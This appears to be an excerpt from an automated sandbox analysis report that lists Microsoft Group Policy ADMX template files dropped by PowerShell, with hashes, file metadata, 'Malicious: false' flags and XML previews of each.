SHA-256:	C7C4EC91849A5C717225D78D21D8C95023872B8C82553A66BE15A893EF22FF09
SHA-512:	323AE91E89B19FE6F0DB00F27A65AFB26029AF14D329D8BC8FDD8F8B7D46226CDB5EBB740950FFE7CF82DCBEB90981A91AF05BF364F8CA0F929D4998EC852048
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ncsi" namespace="Microsoft.Policies.NCSI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NCSI_Category" displayName="$(string.NCSI_Category)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="NCSI_CorpWebProbeUrl" class="Machine" displayName="$(string.NCSI_CorpWebProbeUrl)" explainText="$(string.NCSI_CorpWebProbeUrl_Help)" presentation="$(presentation.NCSI_CorpWebProbeUrl)" key="Software\Policies\Microsoft\Windows\NetworkConnectivityStatusInd

C:\Users\user\AppData\Local\Temp\file\Resource\Netlogon.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (357), with CRLF line terminators
Category:	dropped
Size (bytes):	20036
Entropy (8bit):	5.129890307550063
Encrypted:	false
SSDEEP:	384:lRhP9mhPKGmi6LlBNuk0PvgOYEDLNgejeYKSHAERDYlp8jdEh8gbnIYC8kaeeK8k:5lmtK3i4lrujPIORH6eiYrKD8pESgTIl
MD5:	3C0B4627753AAE0C85E12929450F6444
SHA1:	1464766278A38F1F8771FEBFE6ABF97DC9DED391
SHA-256:	CF64FBFA61B4E60289CFDEED6F6FA41CC466A8AFD11F5FA42F7D604994679195
SHA-512:	FC97661499A9C2BC917867A8CC7EF01016FD21DD2AFFC6D722D8A0C064AAAD964838707880531A8BF2E2A6EB8F4EFB94D8BF55ED938CBA47B83BE5C8C53627AA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="netlogon" namespace="Microsoft.Policies.NetLogon" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Netlogon" displayName="$(string.Netlogon)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="Netlogon_DC_Locator_DNS_Records" displayName="$(string.Netlogon_DC_Locator_DNS_Records)">.. <parentCategory ref="Netlogon" />.. </category>.. </categories>.. <policies>.. <policy name="Netlogon_AvoidPdcOnWan" class="Machine" displayName="$(string.Netlogon_AvoidPdcOnWan)" e

C:\Users\user\AppData\Local\Temp\file\Resource\NetworkConnections.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (306), with CRLF line terminators
Category:	dropped
Size (bytes):	17024
Entropy (8bit):	5.065571958045289
Encrypted:	false
SSDEEP:	384:CDoa+8N9V1REXMfCqJgjfIyd5tBJIPxhN0DKPrk+C:CbhC
MD5:	47DEFF766D6D46FAAA97BE484EF9F84F
SHA1:	0B154DFE9D1FEBE6C2464DEAD39050B2CC5CEE91
SHA-256:	755A94530660264B7933C21681635FFCADCC95E3B3A948B48C6C6E8D4801A350
SHA-512:	B08FCBBB6BCE1F4E708C92CFAAA1158759CE48CF8C2BAF922013A540E9446B42A26E8D456790E62ED70BA8AF48121A345D4516E10AB59FC1010A735BBCB5459B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="networkconnections" namespace="Microsoft.Policies.NetworkConnections" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. Microsoft Windows Server 2003, Windows XP, and Windows 2000 Service Pack 1 operating systems only-->.. <definition name="SUPPORTED_Win2kSP1_WindowsPreVista" displayName="$(string.SUPPORTED_Win2kSP1_WindowsPreVista)">.. <or>.. <range ref="products:MicrosoftWindows2000" mi

C:\Users\user\AppData\Local\Temp\file\Resource\NetworkIsolation.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	exported SGML document, Unicode text, UTF-8 (with BOM) text, with very long lines (402), with CRLF line terminators
Category:	dropped
Size (bytes):	4013
Entropy (8bit):	5.196537460992824
Encrypted:	false
SSDEEP:	96:jeD/mDCMoz8CKnKUrO6NwPqRpY+5Y6NwWxuqG6NwirMlRUTOpV/UNOP:UYj8YyPqTY+5gWxuxirzmim
MD5:	C15E99ADE72D05560D9C6CAE20F89573
SHA1:	849397805400762BE289A04073A21733377699E2
SHA-256:	6531461E0009A5F75A4833B332A809FB941CF18075A2AC1072E26B829E738E87
SHA-512:	245FAFAB7909FADC06E5C9B8E865F789D7E9E9C09A26BF182E4790AFFE0A49895693B8C4301A58DEA880C5C820A278CC13691DBC805CAC51623250FF2D89B01D
Malicious:	false
Preview:	... (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="networkisolation" namespace="Microsoft.Policies.NetworkIsolation" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="windowsfirewall" namespace="Microsoft.Policies.WindowsFirewall" />... </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WF_Isolation" displayName="$(string.WF_Isolation)">.. <parentCategory ref="windows:Network" />.. </category> .. </categories>.. <policies>.. .. Domain Proxies -->.... <policy name="WF_NetIsolation_Domain_Proxies" class="Machine" displayName="$(string.WF_NetIsolation_Domain_Proxies)" explainText="$(string.WF_NetIsolation_Domain

C:\Users\user\AppData\Local\Temp\file\Resource\NetworkProjection.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2443
Entropy (8bit):	5.103763615910914
Encrypted:	false
SSDEEP:	48:3geDw08gmDddfWcofHKnKbcJQ5VM+LcLClmxJhdVph+LcLClmxJhdNxpL9RcLmx/:QeD/mDddecovKnKbce5VM+LqClW3dV3f
MD5:	5C69E0E3724F9E3FB27A612ACDA5B9D4
SHA1:	FA96C96EAA945F78C9DAD24B229E3B1851353B2F
SHA-256:	5CB485C9072BF78964893B7AEC7C13546E96CE2EC89A8EEBA846EF090B8CFB01
SHA-512:	EA2863907854263321B6B2577179A1CF6E6BC804332B3A927229495233CE472E27CBF890C8A610C8C42F2A98419BD9C76D4D50A98F289BB0333D50AF078856BA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="networkprojection" namespace="Microsoft.Policies.NetworkProjection" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NetworkProjectorCat" displayName="$(string.NetworkProjectorCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableNetworkProjector_1" class="User" displayName="$(string.DisableNetworkProjector)" explainText="$(string.DisableNetworkProjectorExplain)" key="Software\Policies\Microsoft\NetworkProjector" valueName="D

C:\Users\user\AppData\Local\Temp\file\Resource\OfflineFiles.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	27029
Entropy (8bit):	5.155170363469394
Encrypted:	false
SSDEEP:	768:8zzzz4d43W7RfvSFSZiRm9mek7b7wfnTHTxy1yxqtqFkntyfygvacadIcEfw:8zzzz4d43W7RfvSFSZiRm9mb7b7wfnTc
MD5:	A60A4A9DB9A90C9FC6C82D30276B0056
SHA1:	046A1990EAB864D851DB4E9139B106DA2A8696E9
SHA-256:	5361C24A8AE48E7E4A73DB1D1C5C9564CE4734758F29A2888404AAFDF1760426
SHA-512:	060FB114C0FC23671F7F5E637B416668AC79DC5BEADA2219DE854E8C246E1FE2300CC7CA37E34211F458F68CC39766826D1FF117FF92396CCB9B5774F7A7C7E0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="offlinefiles" namespace="Microsoft.Policies.OfflineFiles" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Cat_OfflineFiles" displayName="$(string.Cat_OfflineFiles)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_AlwaysPinSubFolders" class="Machine" displayName="$(string.Pol_AlwaysPinSubFolders)" explainText="$(string.Pol_AlwaysPinSubFolders_Help)" presentation="$(presentation.Pol_AlwaysPinSubFolders)" key="Software\Policies\Microsoft\Wi

C:\Users\user\AppData\Local\Temp\file\Resource\P2P-pnrp.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (310), with CRLF line terminators
Category:	dropped
Size (bytes):	8498
Entropy (8bit):	5.153527829256812
Encrypted:	false
SSDEEP:	96:QeD/mDNBovKnKeKzKzKNK15fcF2njMdAnj8d2njaLd55n7w+QqlT1mP4d0PId2PO:vYLLqKj/j5ju8+ndIBz3+8jumQez+8YZ
MD5:	C9F98B5A7D4006C04787A10A6BD2A009
SHA1:	084F76C7224965A6D2FA01D98B35CCD80E5096B1
SHA-256:	58AE627F3502C6605B3BA8CB2FEF574179979489A75008E03C9AC07B5CB9F4BE
SHA-512:	562023783F7CB613823795247D4FFE62E5B455DA392F8BFDCE5F00C666E08639CA6C3628812B39C25EA3082CC26B1BF1F312B57C4E54D7F16E8F2CC28A4EE438
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="p2p-pnrp" namespace="Microsoft.Policies.PlugandPlay" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="P2P_Name" displayName="$(string.P2P_Name)">.. <parentCategory ref="windows:Network" />.. </category>.. <category name="PNRP_Name" displayName="$(string.PNRP_Name)">.. <parentCategory ref="P2P_Name" />.. </category>.. <category name="PNRP_Global" displayName="$(string.PNRP_Global)">.. <parentCategory ref="PNRP_Name" />.. </category>.. <category name="PNRP_LinkLocal" displayName

C:\Users\user\AppData\Local\Temp\file\Resource\ParentalControls.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	5.124322503569571
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtOM6f/L0s6fE3+dK9lKUcpKjcpmCdoqLJV1okkqiFe++2K:3geDw08gmDVxf/LofHKnKUQ5s4ouJMkz
MD5:	029FEB33B77788C4A6F2EA1C00E0F1C8
SHA1:	EA7ED461044AF8F6136DFAA93403864C3B6E3CA5
SHA-256:	F1BFE7A5C1E2C1985E00C497C355940896937303D4D650167E61E649E2387317
SHA-512:	7E4CF03F078EF8C0F1646B57ECADD30199ABDF7A1E940B0A820E7AE1C66369F4CB2C703FA604DE6D1B6405EBDB13F8205DCF9B162E9F071D84387A4BDD3AD632
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="parentalcontrols" namespace="Microsoft.Policies.ParentalControls" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ParentalControls" displayName="$(string.ParentalControls)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ParentalControls_EnableOnDomain_State_2" class="Machine" displayName="$(string.ParentalControls_EnableOnDomain)" explainText="$(string.ParentalControls_EnableOnDomain_help)" key="Software\Microsoft\Windows\CurrentV

C:\Users\user\AppData\Local\Temp\file\Resource\PeerToPeerCaching.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	7194
Entropy (8bit):	5.076741848026244
Encrypted:	false
SSDEEP:	192:vcNuFSfJ/5XKj3hzWSfVzR0SLQjxSHA7LXFXqTWs2kKWLZrrInr48T9JjV:StJRXKj3hzTVzRJQjmA7zFaTWsnnUE+N
MD5:	383B26416096E4DDEB0D5911B233C7E7
SHA1:	2A1DA63F33FCF6A4D02B1A12222D569910193253
SHA-256:	7095E0D9980F5FE11528D4EAA16E76BD08AA5A297EFA4BA465757A2BC2B268B9
SHA-512:	D9518A5CC45E1AF43C2D168B980EFCF896A40E6A0F0CFBCDF38A67893C0571FDEB095970E67F49B987EF66B852AEC578BAB8F59114036D8E529D3F6D2E87777E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.... <policyNamespaces>.. <target prefix="WindowsBranchCache" namespace="Microsoft.PoliciesContentWindowsBranchCache" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.... <resources minRequiredRevision="1.0" />.... <supportedOn>.. <definitions>.. Windows 7 or computers with BITS 4.0 installed.-->.. <definition name="SUPPORTED_Windows7OrBITS4" displayName="$(string.SUPPORTED_Windows7OrBITS4)">.. <or>.. <reference ref="windows:SUPPORTED_Windows7"/>.. <reference ref="products:BITS40"/>.. </or>.. </defin

C:\Users\user\AppData\Local\Temp\file\Resource\PenTraining.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1773
Entropy (8bit):	5.164875333647642
Encrypted:	false
SSDEEP:	48:3geDw08gmDjhf4VAofHKnKxHKi5Tm1mjmqmQ77vf4/dTmonmjmGQ77vf4/q:QeD/mDFQCovKnKZ51mqWdoqWq
MD5:	EE9F671FD7817CAF529DFDA03D060F76
SHA1:	A0B9E29DA8A0E99C2F83CB40818470DFB496C7CA
SHA-256:	8E7B484574ECA27E767044329BECD81FABE9535FFD30AE5CEE5023EB7C7292D4
SHA-512:	2D2B8322C20477C64268F91CD276C10831E03738B6BB33091A00EF6EB6CD67F8DE22AD9D2FD0CE21EA0D2C6BF3242F9338AEFBFA059203D5E23604657927C21C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pentraining" namespace="Microsoft.Policies.PenTraining" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PenTraining" displayName="$(string.PenTraining)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. </categories>.. <policies>.. <policy name="PenTrainingOff_1" class="User" displayName="$(string.PenTrainingOff)" explainText="$(string.PenTrainingOff_Help_USER)" key="SOFTWARE\Policies\Microsoft\PenTraining" valueName="DisablePenTraining">.. <parentCategory ref="PenTraining" />..

C:\Users\user\AppData\Local\Temp\file\Resource\PerformanceDiagnostics.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (360), with CRLF line terminators
Category:	dropped
Size (bytes):	7555
Entropy (8bit):	5.019099061018688
Encrypted:	false
SSDEEP:	96:QeD/mDC0ovKnKCK2K4Kij5E+g4goo4Vo4Ulwvh1mQd4lGwvh1rVh4MojU4Di4VjS:vY/VjgXbSvhbdIvhThJH/USvhg9vhC
MD5:	B0603D67D66D7DF907B9C2AACF31A14B
SHA1:	1217C7F2C6D95FE938748B78211A1F32BD514163
SHA-256:	159E1F84C0076A27F6FEF89EBB39EDC7BD51E55B29193754B925FF9ADD543538
SHA-512:	DD3FA4B49B52F3734DB3A40B91688CCDA35A3990338ED9857E66FEA43256B79EF3E5D27B56EB16A5BA37AD4082A0FED76425AC4E02CE6379C9ED058155586C8C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="performancediagnostics" namespace="Microsoft.Policies.PerformanceDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="BootScenarioCategory" displayName="$(string.BootScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. <category name="ResumeScenarioCategory" displayName="$(string.ResumeScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. <category name="ShellScenarioCategory" displayName="$(string.ShellScenarioC

C:\Users\user\AppData\Local\Temp\file\Resource\PerformancePerftrack.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	5.240961038286916
Encrypted:	false
SSDEEP:	48:3geDw08gmD9Of2ofHKnKK55+6zz4qvhozz4Vzz4UX:QeD/mD9O+ovKnKG5Ln4Oon4Vn4UX
MD5:	AC09352764410A58C8D7AAA7E9E8023F
SHA1:	935038C60CA5734B12A207F7A07F5CE701C1FEF2
SHA-256:	03397786C0411CED7DE160CDA964E1EF2008E312A12698160F53869E6EDC1C33
SHA-512:	491AA91A46272B56138CDDE8D08395E71607F152B7312C0090E9C4E7AC1E621839E6BEE0306FFB6B8EF219A0D7131190CC7BE376511FA8DBC14E01F036F7BC80
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="performanceperftrack" namespace="Microsoft.Policies.PerformancePerftrack" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PerfTrackCategory" displayName="$(string.PerfTrackCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.PerfTrackScenarioExecutionPolicyExplain)" key="SOFTWARE\Policies\Microsoft\Windows\WDI\{9

C:\Users\user\AppData\Local\Temp\file\Resource\Power.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (340), with CRLF line terminators
Category:	dropped
Size (bytes):	35966
Entropy (8bit):	5.139476558454511
Encrypted:	false
SSDEEP:	768:H+ogN7LybLQUmmfpl8IgJKwJqwM+jkjoDrUyKbi4KJAC0MGi+KPBjiwlxy1fHHcb:H+ogN7LybLQUmmfpl8IgJKwJqwM+jkjQ
MD5:	B9EF9957262B6EC6593B9D4B872E902B
SHA1:	FDB8E0B42EFFED3DF42977F2ACCFF3B633FC8269
SHA-256:	7B27400094F6DA7FD7F461EF5C13935C8F629FA490F843A23C4D235746B2B3AE
SHA-512:	C9E5F0C79BA7ECEA379CE0B463D9DC8E9339C3B3AC2B31B4917A9BCD4D1F44EBFBE53B07FC005F056F6A9E9BE77E9BA954FCD58A96558FB8B8AF2870AC73E9D0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="power" namespace="Microsoft.Policies.PowerManagement" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories> .. <category name="PowerManagementCat" displayName="$(string.PowerManagementCat)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="PowerBatteryAlarmSettingsCat" displayName="$(string.PowerBatteryAlarmSettingsCat)">.. <parentCategory ref="PowerManagementCat" />.. </category>.. <category name="PowerButtonActionSetti

C:\Users\user\AppData\Local\Temp\file\Resource\PowerShellExecutionPolicy.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (368), with CRLF line terminators
Category:	dropped
Size (bytes):	4984
Entropy (8bit):	5.002455164798875
Encrypted:	false
SSDEEP:	96:5yGMFLoQKnKeg56bc/GwFb1E+N/GwBC1eHK/GwnMa1K0z/GwAeFACc1Ed/GwUx3:whL7GcJFb1NJoSKJnMaHzJAemEdJUx3
MD5:	CF3A6940F87D0A1B53A99E3E205066C9
SHA1:	29C3D8CA609A60358F958B6036E225AB18423558
SHA-256:	04BB49C481891CDED0C411626070851EF30B21C61D2E8D8D5475604662F0E518
SHA-512:	7805F940621A91353CD5DE0D49720BB829D1BFE9DF0127E1AF98C030D94C5E18FD7229EE392E28BA1EDF745B06CE6339071020A316541B1F64842DA60FA3BF29
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="powershellexecutionpolicy" namespace="Microsoft.Policies.PowerShell" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. <definition name="SUPPORTED_WIN7" displayName="$(string.SUPPORTED_WIN7)" />.. </definitions>.. </supportedOn>.. <categories>.. <category name="PowerShell" displayName="$(string.PowerShell)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="EnableScripts" class="Both" displayName="$(string.EnableScripts)" explainText="$(string.EnableScripts_Explain)" presentat

C:\Users\user\AppData\Local\Temp\file\Resource\PreviousVersions.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	7294
Entropy (8bit):	5.016435507930083
Encrypted:	false
SSDEEP:	192:vY7T2/a/9/C/A/Q/V/8/C/u/gScK//KXcK//5:z/a/9/C/A/Q/V/8/C/u/gScK//KXcK/h
MD5:	F70E4612B41624153386964EE1599D75
SHA1:	E87CEE2E5EC412C32EA32C60E931276EFCBEB449
SHA-256:	A87CE117704CA35DE95B7534D8F15440FF6196526740A3699C01153395A56650
SHA-512:	1955D7D793D09C7B924101918319F876EACBD535F30B8CB0A752F951F036657C1E4742B48866F0635B9C865098DDEA778FF90F655B598FECD705A2A882E6000D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="previousversions" namespace="Microsoft.Policies.PreviousVersions" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. <definition name="SUPPORTED_Vista_through_Win7" displayName="$(string.SUPPORTED_Vista_through_Win7)">.. <or>.. <range ref="products:MicrosoftWindowsVista" /> All of Windows Vista -->.. <reference ref="products:MicrosoftWindows7"/> All of Windows 7 -->.. </or>.. </definition>.. </definitions>.. </supportedOn>.. <categories>.. <categ

C:\Users\user\AppData\Local\Temp\file\Resource\Printing.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	25476
Entropy (8bit):	4.73625907571631
Encrypted:	false
SSDEEP:	384:1s6mjocMLwRSfddhISkmFDGl7PirO0uhswSzsTU8KzH9JjYESpdCW0vq3cuKpdci:1a8FPH9qIu6nzsApzH38pfcvpwdp8
MD5:	8601275427C72BA0F8D7F11CD7189628
SHA1:	2756D0FCF8A5C6D7CAD3FB5FBEAFD12AD12B404A
SHA-256:	312F04B392F958D49BB204BA8DC65D434745351C882129B04F79E3B9DCD74877
SHA-512:	81BF120AFC104362B9E630BA256DD650C960871B5A047E8C69E096A479DFCB7257D7B9D27EC4BB3C4E6B0BEC6D94F186D13DABBC571E775999FC2DA3477DFE2B
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>.... (c) 2006 Microsoft Corporation --><policyDefinitions.. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0".. schemaVersion="1.0".. >.. <policyNamespaces>.. <target.. namespace="Microsoft.Policies.Printing".. prefix="printing".. />.. <using.. namespace="Microsoft.Policies.Windows".. prefix="windows".. />.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <supportedOn>.. <definitions>.. XPSP1 through Server 2008 RTM -->.. <definition.. displayName="$(string.SUPPORTED_XPSP1_through_Server_2008_RTM)".. name="SUPPORTED_XPSP1_through_Server_2008_RTM".. >.. <or>.. <range.. minVersionIndex="1".. ref="products:Microsof

C:\Users\user\AppData\Local\Temp\file\Resource\Printing2.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	13329
Entropy (8bit):	4.4942816875033715
